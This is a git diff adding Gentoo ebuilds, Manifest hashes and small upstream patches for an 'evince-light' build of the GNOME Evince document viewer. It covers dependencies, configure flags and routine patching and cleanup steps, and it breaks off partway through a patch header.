+AUX evince-2.32.0-update-poppler.patch 1890 SHA256 2990c789c8cfd50e46f4dfa7a2406499b3ee26f4db9840c8b9a6e1dee40f61f4 SHA512 3dc4880529307b80e30752b6f63d883299ff2e78f5563072f77edd78c2b10ce5145203f61b2fd4985b1481b44ee0270b64a133d78e74b31810bc06580fe12e4d WHIRLPOOL 09be672d1f77e01f9636f717ff5916c6798ee01c4169c459a96017807a75a6e74877e107ee27263f8a2fae5ad9a782ecad88d86266b3c4d651d2ce8b137627cd
+AUX evince-2.32.0-use-popup.patch 766 SHA256 c53276beb4f975a9ed47fe35dd2756458d9e5e334234aeac2ff4d47ad790d9ea SHA512 8fa96764d9e1bfc21f21d5f6c10018eddfb60456e780dedd667136dda464e606dfdf454de2906e3956e9b5d26efb66ceddff628d567498b61f1d7961083fb208 WHIRLPOOL 120056b6a85492a8eba7193ee9e3c4067843882d1f9581fdfca1d5bbebe681c7255e30855e4a5390b2e41cc0f2defd841e4a5c5ea238ef5fdb6a2d5f32bfe0ff
+AUX evince-3.2.1-glib-gold.patch 1807 SHA256 df7931c121e32f18020ad492aa5ab83fdca769572b5ccbd311b83288409b5402 SHA512 36d5f75f70286c8e5f8964d5020df32b36859b5e775583c3752729aa66324814cdb87ed32e0b71c719088dff587bc57179f10f7aa1a509f0f8c8cc13b2e8342d WHIRLPOOL faeb52ea38d89a22ad6b8d38fef107ddd2c66e9e7522e481b202ef9e591edefca9e9c669df9d73ea59e727211b1ab819f95d5a4b17e41b86e6f90156d00e8ab0
+AUX evince-3.2.1-libgxps-0.2.patch 1317 SHA256 6e98bf5625fd471913e7b461838a63d941ba04e73fe2c2e16b913c6730b8ddf0 SHA512 786c1c2ec03a2f9b0ced8d6eae472e4defc454dfdf51478991b401f3433fa0cf55c7053fa8d8074a7897753031d35c9dbf7d75e63e75c354cb8bb37b7ca0749b WHIRLPOOL 3cd8ae61e540ef876db0ca55e5b42b2d6bed91fa6f41aafa191a523a4a5d265ade7c8bc4ac99a710f5e7305368a367d2cc2381c8ece067cee70fdc7438f2df41
+AUX evince-3.4.0-glib-gold.patch 2339 SHA256 c94927998693b7b75092c0a8225079bf64617f5a194691bf4bfa64feb41a8cb8 SHA512 1ee6d20b6e85de427ec987c34e18cb1132c7d2f199e4b6d2054ee5ea53880b66778fbfadd13ce383e98e553dd18be2787be94ca53f7e7b719de0382351c473b7 WHIRLPOOL d0868464aa248d524c6b7e48391831a99794836f8e1315a3c5d819ba2f626d5fee1709342482f6eb53dad9044fdc35293e7a7db76340e8da4b65fafa31f1e2bd
+AUX gconf-2.m4 1579 SHA256 2c9a981afe5bba4486c8e0ddb66433aef4af953168bd254f6a5ba1c6692f80f8 SHA512 66a341f1c96634d7fddcb26c99e3ae6d44bb3e97f8d547aa1b03b170f2dad8d19a902fe6a945544b8a5a0e26f054a9d0a3f85380efd04e5dd8262bbcb32c4063 WHIRLPOOL 3509829bdecb1eb23ac21df58769f39f3216052f8cdd3ebd67c543d03e2c2a3d57084637152203b9eb5afc9e77f20401467db3cf3b728dc2c02f87abe072032e
+DIST evince-2.32.0.tar.bz2 2295272 SHA256 2a4c91ae38f8b5028cebb91b9da9ddc50ea8ae3f3d429df89ba351da2d787ff7 SHA512 b478f3199d017ba77b75e9d0ee9a82469b58087fea18eb30ff17ee8f03189e842299b8f4df412d4bb6d0ee985ed76bcbd8dfb3accc13b824232980f5a10e0a3c WHIRLPOOL de4892107c83601fb59aaf848acb0ab3d977759f0532221023ea5370706471ef8704d3f28df135d20214f7677f1d3328f9e6b0d4f49277983059626b185cf1c2
+DIST evince-3.2.1-synctex-1.17.patch.bz2 11938 SHA256 929cf0300a4c67d447eeb417f8bfbaafa9988f036c23869728cd76c529243aa5 SHA512 a4cbb555efc77cb99afd0356072157552de367d470e169288c826915b96364ae7364a1c21ae776cecc5410c11fd14810a93f368c7205c11077485335f43126b7 WHIRLPOOL 12bd2c34b898b11ac849c9c50fdbe176a2cb5cdebe9343a6f565b1d053b4270307caa31728e308b39f25dc377eaa5b02d1019368bd66c2955b3b17230b2dc22a
+DIST evince-3.2.1.tar.xz 3782932 SHA256 9db61a39c977eb939deaee3ed1e66937f15532f46de988cacd5b638f3960ed35 SHA512 e205c7d83da7763836835a0926d12de45595f3e4623f4e483d318f8668f67132c5fc0c04bf914b151e74283def66f407ef6539edda4ffd8807f392ec9d5d7b2e WHIRLPOOL 4d06bd457995cd2899cce66b0ed78516b353760f6d17b2b6fe2698d8868ab30e4a6ff1a6198db0f497b1de186560b10cb6d67e43d3874147ffcbdccf942d49db
+DIST evince-3.4.0.tar.xz 6162936 SHA256 02f1c74c123ea0cb4c1a98cb9ba2b67d724e9f90d7ff15acbcd6b8dbeef0a129 SHA512 638170831a57ec6f64c65baa7e5766561ba5044f6a6e2b0ef86aeee526e07e30a5eef40b655158ad483935b127e00b41d12e4b3dda06f957887953d440c0642c WHIRLPOOL 10ba3bd7d23accb68682af890d62fa8ed63e7874f2f58854e44441d3a4d800eaf3cee930fcf68b6d9bc2d9e22767a8e74308df2511aa5cd70baef47ee0dbae24
+EBUILD evince-2.32.0-r3.ebuild 4182 SHA256 9072c72f7543564350280ac52537b191f9de3d9bd8a2be1bf128669cc5ef6489 SHA512 3b5c2f1967e40819a0d3b21fdde19baf44f2ed4c73528b645351ce9f39d5a6fd1c48c753734ac4464af0923905e9478a6a470f6c9d964072d85cb08032ba37ce WHIRLPOOL 89deacc7df0ad9f77dd8b23bd304ac5b780bab9e89fc95c263f9a70674fe9021926e037214bdc3d6adaba2cdcdb3b6e4d89f42cef3bfad1db6b905e986fc1ef7
+EBUILD evince-2.32.0-r4.ebuild 4280 SHA256 e5b107b6b075963c25f9185acccbbe6a2795ae2a8e81138ca2e25f3311fdab17 SHA512 5b42512184ec021b61e4c884fc1ecd39b89aeab4b3f601b8a4554b9bf48139678e4355b460de3ee9c2870761a7d2de69803842ce5efc2ea1bed6182b287e160d WHIRLPOOL 83bcf1b2024eabde9f93a7719033e2ce6098fd1bd9e13a07ed16f9a0a876722c985888c472d1cacdc08625f5fe3ad9d6d49f5959983fadc20d474322b8279ea4
+EBUILD evince-3.2.1-r1.ebuild 3491 SHA256 42fa48eef2bb3d52841d323ae9e3da77a45e56a38510bdfb186170d86af685a9 SHA512 25848e0fc771db7e36e84b0ac6f967c5fae7d107dca7b4ed2dcd05b4d89d9d50c227f127b30025229da4a4df1d7e3bdcb7bcddaebc52c9696a3d715c33f714aa WHIRLPOOL 8823bfc3279a3934632aeb5f6d3a79f86f4617cbede535594974dfcb00ca1fa49d4937cd06ff1d94ff2db0505b96adeed012d6eb69edc1de039b78c7b4dec914
+EBUILD evince-3.4.0.ebuild 3377 SHA256 877cb8d754754d625f40e17224371d14007cc8ceb4f410dd88e472f9c74ceb6d SHA512 651310f4c2162482ab2de1d61ad5393f8138fa7cc5fba43ac436ac0a8cfe5d3feef5a55e9e36a03a1072691c10f3512dd84dbbc1272b0024bfdc9363405141d6 WHIRLPOOL adbd3864e7e4ca472e0479c84323971227945c6306647922e24a6ff538cd2ba02e7e2485932f114cd6ffdc030abad33d02419917c3be9107dc8c286fbcfc384b
+MISC ChangeLog 37671 SHA256 1d187ca84c6e246e6f03b09ac0adbfc56cfb6f8e65f787fae13b745acbe69f78 SHA512 96f5d2dc5a68104ddce884e90cc19409e670b4d15e5f0834123dab467ec5fd563fe08d3c2a980972e1c474599589b21ba69da9deb59f4e75eb511b974d777db3 WHIRLPOOL bce5cabebd75647aa3e578156aa8f459c2aaf6a8e316a61a1b2476d63f98e5e3fa9f615376ef8a61029ca95f29c78d74e3274f2b00467ea9734ebd3e9815a3c5
+MISC metadata.xml 726 SHA256 b3f2b01c3eaa2f5633c1f8600921345db96d269de2e5f21752ba1a5ddcc3c890 SHA512 dcbe57df71e64d20b672583dee3dbccfb8b927335c6781e3f4cf6838ecb7f73f2f5af83d99d59d1c1fec9112618d85bbbbbdd77b4f64ab37d6a0f170e9982a97 WHIRLPOOL 9279856ee5be35f3e0e6063f48a1b7a8d8a5cc0df69c0a0fd04f561bbe716593fe196972c1b20e05cdb7ef75bfa7bb4bab75b0bc03583894cae1a119f9b8016e
+-----BEGIN PGP SIGNATURE-----
+Version: GnuPG v2.0.19 (GNU/Linux)
+
+iQEcBAEBCAAGBQJQNlPOAAoJEJ0WA1zPCt1hzCAH/iw9VzZYwFTxpkYIjndFdXTY
+iURFmYK6/CTtAR16mtNQ7f0bZ5GwupH6DRZ09Su7iQRFFd4iA4wXQpJOcRVCvZ+K
+/hbAPrV08COJEabozlQGpWfQ6UOIyz9/rjdlImTPiCMAVPiIs2Rib/4DuAUWopUW
+9lsDviT6EunKJe2XFk11eucGyvWZCzFmNY5YAsdk24Q2aLQXucswujjQroQvUirf
+manrU1Y2xjZry7ZS5T2kUHGD00BcWqa1INxV53fL6+EniSBOUTXsbmuWR2XLS5vm
+XUzkKd0vwXXjg2UnVRrvuXD1uHM2JA9E58+2l+vvYBsYm0g/9UcR4fcAwOPlYyM=
+=IJS1
+-----END PGP SIGNATURE-----
diff --git a/app-text/evince-light/evince-2.32.0-r3.ebuild b/app-text/evince-light/evince-2.32.0-r3.ebuild
new file mode 100644
index 00000000..8e18d82b
--- /dev/null
+++ b/app-text/evince-light/evince-2.32.0-r3.ebuild
@@ -0,0 +1,137 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-text/evince/evince-2.32.0-r3.ebuild,v 1.14 2012/08/23 16:01:12 tetromino Exp $
+
+EAPI="3"
+GCONF_DEBUG="yes"
+
+inherit eutils gnome2 autotools
+
+DESCRIPTION="Simple document viewer for GNOME"
+HOMEPAGE="http://projects.gnome.org/evince/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm ia64 ppc ppc64 sparc x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~x64-solaris"
+
+IUSE="dbus debug djvu doc dvi gnome gnome-keyring +introspection nautilus +postscript t1lib tiff"
+
+# Since 2.26.2, can handle poppler without cairo support. Make it optional ?
+# not mature enough
+RDEPEND="
+	>=dev-libs/glib-2.25.11:2
+	>=dev-libs/libxml2-2.5:2
+	>=x11-libs/gtk+-2.21.5:2[introspection?]
+	>=x11-libs/libSM-1
+	|| (
+		>=x11-themes/gnome-icon-theme-2.17.1
+		>=x11-themes/hicolor-icon-theme-0.10 )
+	>=x11-libs/cairo-1.9.10
+	>=app-text/poppler-0.14[cairo]
+	djvu? ( >=app-text/djvu-3.5.17 )
+	dvi? (
+		virtual/tex-base
+		t1lib? ( >=media-libs/t1lib-5.0.0 ) )
+	gnome? ( >=gnome-base/gconf-2:2[introspection?] )
+	gnome-keyring? ( >=gnome-base/gnome-keyring-2.22.0 )
+	introspection? ( >=dev-libs/gobject-introspection-0.6 )
+	nautilus? ( >=gnome-base/nautilus-2.10[introspection?] )
+	postscript? ( >=app-text/libspectre-0.2.0 )
+	tiff? ( >=media-libs/tiff-3.6:0 )
+"
+DEPEND="${RDEPEND}
+	app-text/scrollkeeper
+	>=app-text/gnome-doc-utils-0.3.2
+	~app-text/docbook-xml-dtd-4.1.2
+	virtual/pkgconfig
+	sys-devel/gettext
+	>=dev-util/intltool-0.35
+	doc? ( >=dev-util/gtk-doc-1.13 )"
+
+ELTCONF="--portage"
+
+# Needs dogtail and pyspi from http://fedorahosted.org/dogtail/
+# Releases: http://people.redhat.com/zcerza/dogtail/releases/
+RESTRICT="test"
+
+pkg_setup() {
+	# Passing --disable-help would drop offline help, that would be inconsistent
+	# with helps of the most of Gnome apps that doesn't require network for that.
+	G2CONF="${G2CONF}
+		--disable-scrollkeeper
+		--disable-static
+		--disable-tests
+		--enable-pdf
+		--enable-comics
+		--enable-impress
+		--enable-thumbnailer
+		--with-smclient=xsmp
+		--with-platform=gnome
+		--with-gtk=2.0
+		--enable-help
+		--disable-maintainer-mode
+		$(use_enable dbus)
+		$(use_enable djvu)
+		$(use_enable dvi)
+		$(use_with gnome gconf)
+		$(use_with gnome-keyring keyring)
+		$(use_enable introspection)
+		$(use_enable nautilus)
+		$(use_enable postscript ps)
+		$(use_enable t1lib)
+		$(use_enable tiff)"
+	DOCS="AUTHORS ChangeLog NEWS README TODO"
+}
+
+src_prepare() {
+	# Check for NULL in synctex_backward_search preventing segfault, upstream bug #630845
+	epatch "${FILESDIR}"/${P}-libdocument-segfault.patch
+
+	# Fix multiple security issues with dvi backend, bug #350681
+	epatch "${FILESDIR}"/${P}-dvi-CVEs.patch
+
+	# Fix problem with some pk fonts, upstream bug #639746
+	epatch "${FILESDIR}"/${P}-pk-fonts.patch
+
+	# Fix libview crash, upstream bug #630999
+	epatch "${FILESDIR}"/${P}-libview-crash.patch
+
+	# Fix another security issue in the dvi-backend
+	epatch "${FILESDIR}"/${P}-dvi-security.patch
+
+	# Update poppler api
+	epatch "${FILESDIR}"/${P}-update-poppler.patch
+
+	# Stop the GtkSpinner when the loading window is hidden, upstream bug #637390
+	epatch "${FILESDIR}"/${P}-stop-spinner.patch
+
+	# Use a popup window instead of a toplevel for loading window, upstream bug #633475
+	epatch "${FILESDIR}"/${P}-use-popup.patch
+
+	# Fix intltoolize broken file, see upstream #577133
+	sed "s:'\^\$\$lang\$\$':\^\$\$lang\$\$:g" -i po/Makefile.in.in \
+		|| die "intltoolize sed failed"
+
+	# Do not depend on gnome-icon-theme, bug #326855
+	sed 's/gnome-icon-theme//' -i configure.ac configure || die "sed failed"
+
+	# Fix .desktop file so menu item shows up
+	epatch "${FILESDIR}"/${PN}-0.7.1-display-menu.patch
+
+	# gconf-2.m4 is needed for autoconf, bug #291339
+	if ! use gnome; then
+		cp "${FILESDIR}/gconf-2.m4" m4/ || die "Copying gconf-2.m4 failed!"
+	fi
+
+	# Fix underlinking with gold
+	epatch "${FILESDIR}"/${P}-gold.patch
+
+	intltoolize --force --copy --automake || die "intltoolize failed"
+	eautoreconf
+	gnome2_src_prepare
+}
+
+src_install() {
+	gnome2_src_install
+	find "${ED}" -name "*.la" -delete || die "remove of lafiles failed"
+}
diff --git a/app-text/evince-light/evince-2.32.0-r4.ebuild b/app-text/evince-light/evince-2.32.0-r4.ebuild
new file mode 100644
index 00000000..4b206c76
--- /dev/null
+++ b/app-text/evince-light/evince-2.32.0-r4.ebuild
@@ -0,0 +1,138 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-text/evince/evince-2.32.0-r4.ebuild,v 1.13 2012/08/23 16:01:12 tetromino Exp $
+
+EAPI="4"
+GCONF_DEBUG="yes"
+GNOME2_LA_PUNT="yes"
+GNOME_TARBALL_SUFFIX="bz2"
+
+inherit eutils gnome2 autotools
+
+DESCRIPTION="Simple document viewer for GNOME"
+HOMEPAGE="http://projects.gnome.org/evince/"
+
+LICENSE="GPL-2"
+SLOT="0"
+KEYWORDS="alpha amd64 arm ia64 ppc ppc64 sparc x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~x64-solaris"
+
+IUSE="dbus debug djvu dvi gnome gnome-keyring +introspection nautilus +postscript t1lib tiff"
+
+# Since 2.26.2, can handle poppler without cairo support. Make it optional ?
+# not mature enough
+RDEPEND="
+	>=dev-libs/glib-2.25.11:2
+	>=dev-libs/libxml2-2.5:2
+	>=x11-libs/gtk+-2.21.5:2[introspection?]
+	>=x11-libs/libSM-1
+	|| (
+		>=x11-themes/gnome-icon-theme-2.17.1
+		>=x11-themes/hicolor-icon-theme-0.10 )
+	>=x11-libs/cairo-1.9.10
+	>=app-text/poppler-0.14[cairo]
+	djvu? ( >=app-text/djvu-3.5.17 )
+	dvi? (
+		virtual/tex-base
+		t1lib? ( >=media-libs/t1lib-5.0.0 ) )
+	gnome? ( >=gnome-base/gconf-2:2[introspection?] )
+	gnome-keyring? ( >=gnome-base/gnome-keyring-2.22.0 )
+	introspection? ( >=dev-libs/gobject-introspection-0.6 )
+	nautilus? ( >=gnome-base/nautilus-2.10[introspection?] )
+	postscript? ( >=app-text/libspectre-0.2.0 )
+	tiff? ( >=media-libs/tiff-3.6:0 )
+"
+DEPEND="${RDEPEND}
+	app-text/scrollkeeper
+	>=app-text/gnome-doc-utils-0.3.2
+	~app-text/docbook-xml-dtd-4.1.2
+	virtual/pkgconfig
+	sys-devel/gettext
+	>=dev-util/intltool-0.35"
+
+ELTCONF="--portage"
+
+# Needs dogtail and pyspi from http://fedorahosted.org/dogtail/
+# Releases: http://people.redhat.com/zcerza/dogtail/releases/
+RESTRICT="test"
+
+pkg_setup() {
+	# Passing --disable-help would drop offline help, that would be inconsistent
+	# with helps of the most of Gnome apps that doesn't require network for that.
+	G2CONF="${G2CONF}
+		--disable-scrollkeeper
+		--disable-static
+		--disable-tests
+		--enable-pdf
+		--enable-comics
+		--enable-impress
+		--enable-thumbnailer
+		--with-smclient=xsmp
+		--with-platform=gnome
+		--with-gtk=2.0
+		--enable-help
+		$(use_enable dbus)
+		$(use_enable djvu)
+		$(use_enable dvi)
+		$(use_with gnome gconf)
+		$(use_with gnome-keyring keyring)
+		$(use_enable introspection)
+		$(use_enable nautilus)
+		$(use_enable postscript ps)
+		$(use_enable t1lib)
+		$(use_enable tiff)"
+	DOCS="AUTHORS ChangeLog NEWS README TODO"
+}
+
+src_prepare() {
+	# Check for NULL in synctex_backward_search preventing segfault, upstream bug #630845
+	epatch "${FILESDIR}"/${P}-libdocument-segfault.patch
+
+	# Fix multiple security issues with dvi backend, bug #350681
+	epatch "${FILESDIR}"/${P}-dvi-CVEs.patch
+
+	# Fix problem with some pk fonts, upstream bug #639746
+	epatch "${FILESDIR}"/${P}-pk-fonts.patch
+
+	# Fix libview crash, upstream bug #630999
+	epatch "${FILESDIR}"/${P}-libview-crash.patch
+
+	# Fix another security issue in the dvi-backend
+	epatch "${FILESDIR}"/${P}-dvi-security.patch
+
+	# Update poppler api
+	epatch "${FILESDIR}"/${P}-update-poppler.patch
+
+	# Stop the GtkSpinner when the loading window is hidden, upstream bug #637390
+	epatch "${FILESDIR}"/${P}-stop-spinner.patch
+
+	# Use a popup window instead of a toplevel for loading window, upstream bug #633475
+	epatch "${FILESDIR}"/${P}-use-popup.patch
+
+	# document: create_thumbnail_frame should return NULL when
+	epatch "${FILESDIR}"/${P}-create_thumbnail_frame-null.patch
+
+	# Fix .desktop categories, upstream bug #666346
+	epatch "${FILESDIR}"/${P}-desktop-categories.patch
+
+	# Fix intltoolize broken file, see upstream #577133
+	sed "s:'\^\$\$lang\$\$':\^\$\$lang\$\$:g" -i po/Makefile.in.in \
+		|| die "intltoolize sed failed"
+
+	# Do not depend on gnome-icon-theme, bug #326855
+	sed 's/gnome-icon-theme//' -i configure.ac configure || die "sed failed"
+
+	# Fix .desktop file so menu item shows up
+	epatch "${FILESDIR}"/${PN}-0.7.1-display-menu.patch
+
+	# gconf-2.m4 is needed for autoconf, bug #291339
+	if ! use gnome; then
+		cp "${FILESDIR}/gconf-2.m4" m4/ || die "Copying gconf-2.m4 failed!"
+	fi
+
+	# Fix underlinking with gold
+	epatch "${FILESDIR}"/${P}-gold.patch
+
+	intltoolize --force --copy --automake || die "intltoolize failed"
+	eautoreconf
+	gnome2_src_prepare
+}
diff --git a/app-text/evince-light/evince-3.2.1-r1.ebuild b/app-text/evince-light/evince-3.2.1-r1.ebuild
new file mode 100644
index 00000000..272ca61f
--- /dev/null
+++ b/app-text/evince-light/evince-3.2.1-r1.ebuild
@@ -0,0 +1,117 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-text/evince/evince-3.2.1-r1.ebuild,v 1.8 2012/08/23 16:01:12 tetromino Exp $
+
+EAPI="4"
+GCONF_DEBUG="yes"
+GNOME2_LA_PUNT="yes"
+
+inherit autotools eutils gnome2
+
+DESCRIPTION="Simple document viewer for GNOME"
+HOMEPAGE="http://www.gnome.org/projects/evince/"
+
+SRC_URI="${SRC_URI}
+	http://dev.gentoo.org/~tetromino/distfiles/${PN}/${P}-synctex-1.17.patch.bz2"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="dbus debug djvu doc dvi gnome-keyring +introspection nautilus +postscript t1lib tiff xps"
+KEYWORDS="~alpha ~amd64 ~arm ~ia64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~x64-solaris"
+
+# Since 2.26.2, can handle poppler without cairo support. Make it optional ?
+# not mature enough
+# atk used in libview
+# gdk-pixbuf used all over the place
+# libX11 used for totem-screensaver
+RDEPEND="
+	dev-libs/atk
+	>=dev-libs/glib-2.25.11:2
+	>=dev-libs/libxml2-2.5:2
+	sys-libs/zlib
+	x11-libs/gdk-pixbuf:2
+	>=x11-libs/gtk+-3.0.2:3[introspection?]
+	x11-libs/libX11
+	>=x11-libs/libSM-1
+	x11-libs/libICE
+	gnome-base/gsettings-desktop-schemas
+	|| (
+		>=x11-themes/gnome-icon-theme-2.17.1
+		>=x11-themes/hicolor-icon-theme-0.10 )
+	>=x11-libs/cairo-1.10.0
+	>=app-text/poppler-0.16[cairo]
+	djvu? ( >=app-text/djvu-3.5.17 )
+	dvi? (
+		virtual/tex-base
+		dev-libs/kpathsea
+		t1lib? ( >=media-libs/t1lib-5.0.0 ) )
+	gnome-keyring? ( >=gnome-base/gnome-keyring-2.22.0 )
+	introspection? ( >=dev-libs/gobject-introspection-0.6 )
+	nautilus? ( >=gnome-base/nautilus-2.91.4[introspection?] )
+	postscript? ( >=app-text/libspectre-0.2.0 )
+	tiff? ( >=media-libs/tiff-3.6:0 )
+	xps? ( >=app-text/libgxps-0.2.0 )
+"
+DEPEND="${RDEPEND}
+	app-text/scrollkeeper
+	>=app-text/gnome-doc-utils-0.3.2
+	app-text/docbook-xml-dtd:4.3
+	virtual/pkgconfig
+	sys-devel/gettext
+	>=dev-util/intltool-0.35
+	doc? ( >=dev-util/gtk-doc-1.13 )"
+
+ELTCONF="--portage"
+
+# Needs dogtail and pyspi from http://fedorahosted.org/dogtail/
+# Releases: http://people.redhat.com/zcerza/dogtail/releases/
+RESTRICT="test"
+
+pkg_setup() {
+	# Passing --disable-help would drop offline help, that would be inconsistent
+	# with helps of the most of Gnome apps that doesn't require network for that.
+	G2CONF="${G2CONF}
+		--disable-schemas-compile
+		--disable-scrollkeeper
+		--disable-static
+		--disable-tests
+		--enable-pdf
+		--enable-comics
+		--enable-thumbnailer
+		--with-smclient=xsmp
+		--with-platform=gnome
+		--enable-help
+		$(use_enable dbus)
+		$(use_enable djvu)
+		$(use_enable dvi)
+		$(use_with gnome-keyring keyring)
+		$(use_enable introspection)
+		$(use_enable nautilus)
+		$(use_enable postscript ps)
+		$(use_enable t1lib)
+		$(use_enable tiff)
+		$(use_enable xps)"
+	DOCS="AUTHORS ChangeLog NEWS README TODO"
+}
+
+src_prepare() {
+	# Fix .desktop file so menu item shows up
+	epatch "${FILESDIR}"/${PN}-0.7.1-display-menu.patch
+
+	# Upstream patch to fix texlive-2011 compatibility, will be in next release
+	epatch "../${P}-synctex-1.17.patch"
+
+	# Patch from upstream git master branch to fix libgxps-0.2 compatibility
+	epatch "${FILESDIR}/${PN}-3.2.1-libgxps-0.2.patch"
+
+	# glib-2.32 restructured dep libs in pkg-config files, #414065
+	epatch "${FILESDIR}/${P}-glib-gold.patch"
+
+	gnome2_src_prepare
+
+	AT_NOELIBTOOLIZE=yes eautoreconf
+
+	# Do not depend on gnome-icon-theme, bug #326855, #391859
+	sed -e 's/gnome-icon-theme >= $GNOME_ICON_THEME_REQUIRED//g' \
+		-i configure || die "sed failed"
+}
diff --git a/app-text/evince-light/evince-light-3.4.0.ebuild b/app-text/evince-light/evince-light-3.4.0.ebuild
new file mode 100644
index 00000000..17635a1a
--- /dev/null
+++ b/app-text/evince-light/evince-light-3.4.0.ebuild
@@ -0,0 +1,113 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: /var/cvsroot/gentoo-x86/app-text/evince/evince-3.4.0.ebuild,v 1.4 2012/08/23 16:01:12 tetromino Exp $
+
+EAPI="4"
+GCONF_DEBUG="yes"
+GNOME2_LA_PUNT="yes"
+
+inherit autotools eutils gnome2
+
+DESCRIPTION="Simple document viewer for GNOME"
+HOMEPAGE="http://www.gnome.org/projects/evince/"
+
+LICENSE="GPL-2"
+SLOT="0"
+IUSE="dbus debug djvu doc dvi gnome-keyring +introspection nautilus +postscript t1lib tiff xps"
+KEYWORDS="~alpha ~amd64 ~arm ~ia64 ~ppc ~ppc64 ~sparc ~x86 ~x86-fbsd ~x86-freebsd ~x86-interix ~amd64-linux ~x86-linux ~x64-solaris"
+
+# Since 2.26.2, can handle poppler without cairo support. Make it optional ?
+# not mature enough
+# atk used in libview
+# gdk-pixbuf used all over the place
+# libX11 used for totem-screensaver
+RDEPEND="
+	dev-libs/atk
+	>=dev-libs/glib-2.25.11:2
+	>=dev-libs/libxml2-2.5:2
+	sys-libs/zlib
+	x11-libs/gdk-pixbuf:2
+	>=x11-libs/gtk+-3.0.2:3[introspection?]
+	x11-libs/libX11
+	>=x11-libs/libSM-1
+	x11-libs/libICE
+	gnome-base/gsettings-desktop-schemas
+	|| (
+		>=x11-themes/gnome-icon-theme-2.17.1
+		>=x11-themes/hicolor-icon-theme-0.10 )
+	>=x11-libs/cairo-1.10.0
+	>=app-text/poppler-0.18[cairo]
+	djvu? ( >=app-text/djvu-3.5.17 )
+	dvi? (
+		virtual/tex-base
+		dev-libs/kpathsea
+		t1lib? ( >=media-libs/t1lib-5.0.0 ) )
+	gnome-keyring? ( >=gnome-base/gnome-keyring-2.22.0 )
+	introspection? ( >=dev-libs/gobject-introspection-0.6 )
+	nautilus? ( >=gnome-base/nautilus-2.91.4[introspection?] )
+	postscript? ( >=app-text/libspectre-0.2.0 )
+	tiff? ( >=media-libs/tiff-3.6:0 )
+	xps? ( >=app-text/libgxps-0.2.1 )
+"
+DEPEND="${RDEPEND}
+	app-text/scrollkeeper
+	>=app-text/gnome-doc-utils-0.3.2
+	app-text/docbook-xml-dtd:4.3
+	sys-devel/gettext
+	>=dev-util/intltool-0.35
+	virtual/pkgconfig
+	doc? ( >=dev-util/gtk-doc-1.13 )"
+
+ELTCONF="--portage"
+
+# Needs dogtail and pyspi from http://fedorahosted.org/dogtail/
+# Releases: http://people.redhat.com/zcerza/dogtail/releases/
+RESTRICT="test"
+
+pkg_setup() {
+	# Passing --disable-help would drop offline help, that would be inconsistent
+	# with helps of the most of Gnome apps that doesn't require network for that.
+	G2CONF="${G2CONF}
+		--disable-schemas-compile
+		--disable-scrollkeeper
+		--disable-static
+		--disable-tests
+		--enable-pdf
+		--enable-comics
+		--enable-thumbnailer
+		--with-smclient=xsmp
+		--with-platform=gnome
+		--enable-help
+		$(use_enable dbus)
+		$(use_enable djvu)
+		$(use_enable dvi)
+		$(use_with gnome-keyring keyring)
+		$(use_enable introspection)
+		$(use_enable nautilus)
+		$(use_enable postscript ps)
+		$(use_enable t1lib)
+		$(use_enable tiff)
+		$(use_enable xps)"
+	DOCS="AUTHORS ChangeLog NEWS README TODO"
+}
+
+src_prepare() {
+	# Regenerate marshalers to allow building with <glib-2.32
+	rm -v cut-n-paste/gimpcellrenderertoggle/gimpwidgetsmarshal.{c,h} \
+		cut-n-paste/toolbar-editor/eggmarshalers.{c,h} \
+		libview/ev-view-marshal.{c,h} || die "rm failed"
+
+	# Fix .desktop file so menu item shows up
+	epatch "${FILESDIR}"/${PN}-0.7.1-display-menu.patch
+
+	# glib-2.32 restructured dep libs in pkg-config files, #414065
+	epatch "${FILESDIR}/${P}-glib-gold.patch"
+
+	gnome2_src_prepare
+
+	AT_NOELIBTOOLIZE=yes eautoreconf
+
+	# Do not depend on gnome-icon-theme, bug #326855, #391859
+	sed -e 's/gnome-icon-theme >= $GNOME_ICON_THEME_REQUIRED//g' \
+		-i configure || die "sed failed"
+}
diff --git a/app-text/evince-light/files/evince-0.7.1-display-menu.patch b/app-text/evince-light/files/evince-0.7.1-display-menu.patch
new file mode 100644
index 00000000..9edc43ea
--- /dev/null
+++ b/app-text/evince-light/files/evince-0.7.1-display-menu.patch
@@ -0,0 +1,11 @@
+diff --exclude-from=/home/dang/.diffrc -up -ruN evince-0.7.1.orig/data/evince.desktop.in.in evince-0.7.1/data/evince.desktop.in.in
+--- evince-0.7.1.orig/data/evince.desktop.in.in	2007-01-10 11:04:20.000000000 -0500
++++ evince-0.7.1/data/evince.desktop.in.in	2007-01-18 17:30:52.000000000 -0500
+@@ -9,7 +9,6 @@ StartupNotify=true
+ Terminal=false
+ Type=Application
+ Icon=evince
+-NoDisplay=true
+ X-GNOME-DocPath=
+ X-GNOME-Bugzilla-Bugzilla=GNOME
+ X-GNOME-Bugzilla-Product=evince
diff --git a/app-text/evince-light/files/evince-2.32.0-create_thumbnail_frame-null.patch b/app-text/evince-light/files/evince-2.32.0-create_thumbnail_frame-null.patch
new file mode 100644
index 00000000..19eaf1c9
--- /dev/null
+++ b/app-text/evince-light/files/evince-2.32.0-create_thumbnail_frame-null.patch
@@ -0,0 +1,25 @@
+From 0fd1f66767ab3b71bef571bf734ce0038d696f4f Mon Sep 17 00:00:00 2001
+From: José Aliste <jaliste@src.gnome.org>
+Date: Fri, 26 Nov 2010 14:56:45 +0000
+Subject: document: create_thumbnail_frame should return NULL when
+
+source_pixbuf is NULL and width and height are not positive.
+
+Fixes bug #594408
+(cherry picked from commit 3d8180a605e8c98172e9e0e739e22b7f50ed7bad)
+---
